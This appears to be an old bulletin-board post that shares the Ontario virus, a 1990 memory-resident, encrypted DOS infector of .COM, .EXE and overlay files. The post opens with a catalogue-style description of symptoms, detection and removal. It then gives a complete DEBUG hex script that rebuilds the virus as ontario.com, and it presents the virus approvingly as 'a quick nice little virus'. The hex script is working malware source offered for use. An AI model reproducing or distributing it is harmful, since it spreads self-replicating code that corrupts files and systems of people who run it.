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-
- The Ontario Virus
-
-
- Here a quick nice little virus from our boyz up north.
-
- V Status: Rare
- Discovered: July, 1990
- Symptoms: .COM & .EXE growth; decrease in system and free memory;
- hard disk errors in the case of extreme infections
- Origin: Ontario, Canada
- Eff Length: 512 Bytes
- Type Code: PRtAK - Parasitic Encrypted Resident .COM & .EXE Infector
- Detection Method: ViruScan V66+, Pro-Scan 2.01+, NAV
- Removal Instructions: SCAN /D, or Delete infected files
- General Comments:
- The Ontario Virus was isolated by Mike Shields in Ontario, Canada
- in July, 1990. The Ontario virus is a memory resident infector of
- .COM, .EXE, and overlay files. It will infect COMMAND.COM.
-
- The first time a program infected with the Ontario Virus is executed,
- it will install itself memory resident above the top of system memory
- but below the 640K DOS boundary. Total system memory and free memory
- will be decreased by 2,048 bytes. At this time, the virus will
- infect COMMAND.COM on the C: drive, increasing its length by 512 bytes.
-
- Each time an uninfected program is executed on the system with the
- virus memory resident, the program will become infected with the viral
- code located at the end of the file. For .COM files, they will
- increase by 512 bytes in all cases. For .EXE and overlay files, the
- file length increase will be 512 - 1023 bytes. The difference in
- length for .EXE and overlay files is because the virus will fill out
- the unused space at the end of the last sector of the uninfected file
- with random data (usually a portion of the directory) and then append
- itself to the end of the file at the next sector. Systems using
- a sector size of more than 512 bytes may notice larger file increases
- for infected files. Infected files will always have a file length
- that is a multiple of the sector size on the disk.
-
- In the case of extreme infections of the Ontario Virus, hard disk
- errors may be noticed.
-
- Ontario uses a complex encryption routine, and a simple identification
- string will not identify this virus.
-
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-
- n ontario.com
- e 0100 E9 1D 00 1D 66 65 63 74 65 64 20 50 72 6F 67 72
- e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
- e 0120 90 E8 E9 01 93 84 7B D9 F8 69 7C 3C 84 7B B6 A5
- e 0130 71 60 0F CB 65 B7 BB 0A A3 07 55 97 7F 86 BE 9A
- e 0140 FF 84 55 0D E5 84 79 AA F7 1A 79 86 F7 47 30 0A
- e 0150 A0 05 55 87 7B 04 7B 25 69 84 56 04 7B 27 69 84
- e 0160 F5 44 75 9B F0 71 48 7B C2 80 79 78 88 20 F5 5D
- e 0170 81 43 7D 00 7B FB 7B 27 FD 84 80 3C 84 CF B6 A5
- e 0180 64 9A 7C 8F 96 F0 77 09 CD FF 7B 3B 7B 85 2C 78
- e 0190 DE 21 B8 08 BB AA 7A 82 06 84 91 6F 6E CD 15 B9
- e 01A0 84 7B 0E 86 3B 4B FB 78 30 F1 6F B8 78 F0 6B B8
- e 01B0 84 F1 72 8A 64 3E A6 85 93 8D 7B 4B 93 81 7B AA
- e 01C0 84 AA 7B 86 7D 9A 29 D5 28 D4 C3 84 38 6C 5D 85
- e 01D0 09 9C 8D 45 7A F0 70 04 9A 7A C3 85 38 6C 6D 85
- e 01E0 09 8C C3 86 46 6C 75 85 08 87 92 86 7A 0F A3 8A
- e 01F0 64 3C 7B D3 93 7B 7B 0D 75 80 79 0D 6D 82 79 3E
- e 0200 73 86 C2 9F 7B 30 44 6C 97 84 09 CC FA BA 73 86
- e 0210 36 DE 0F BD DB 8D 79 BE 7D 8F 79 F0 4C B7 A9 B7
- e 0220 B2 3C 79 C6 93 4B 7B F6 50 B9 7B 64 0C A2 2B 25
- e 0230 73 86 D8 FF 7B 25 71 86 D8 F9 7B DC 56 87 7B 42
- e 0240 7D 8C 79 6D D8 8D 79 26 70 86 90 CD EB 07 45 98
- e 0250 79 85 0E 87 92 01 7B 25 77 86 C2 84 79 73 9A D4
- e 0260 29 35 7F 57 B1 57 93 87 B9 AF 7D 94 79 D4 DA 98
- e 0270 79 27 00 84 DA 9A 79 81 6B 84 D8 F9 7B DC D8 9A
- e 0280 79 43 7D 98 79 85 7B 7B 7D 88 79 DD 21 3C 7B C6
- e 0290 93 E7 7B F6 3C 04 4D 7C 7A 8C 48 44 F5 5C DB E8
- e 02A0 7F 8A 64 8A 7C 26 97 85 48 72 C4 A0 79 D3 C2 84
- e 02B0 79 78 88 20 C5 AC 79 6C 21 84 21 3D 7B 86 CF C4
- e 02C0 93 B7 7B F6 6C B7 B2 B7 A9 3C 7B C6 93 A3 7B F6
- e 02D0 70 3E 73 86 C2 9F 7B 30 3B 6C 61 84 F0 92 7D 86
- e 02E0 F0 8A 7F 86 C3 85 2C 6C 77 84 CF BA 93 83 7B DC
- e 02F0 20 DD 21 9B 7C 47 E7 AA 84 9A 7B 86 B8 C7 41 D8
- e 0300 38 CB 36 C9 3A CA 3F AA 38 CB 36 84 84 5E 56 2E
- e 0310 8A 84 E8 01 B9 E8 01 F6 D0 2E 30 04 46 E2 F8 C3
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- * Origin: Rutgers University LCSR (1:340/13@fidonet)
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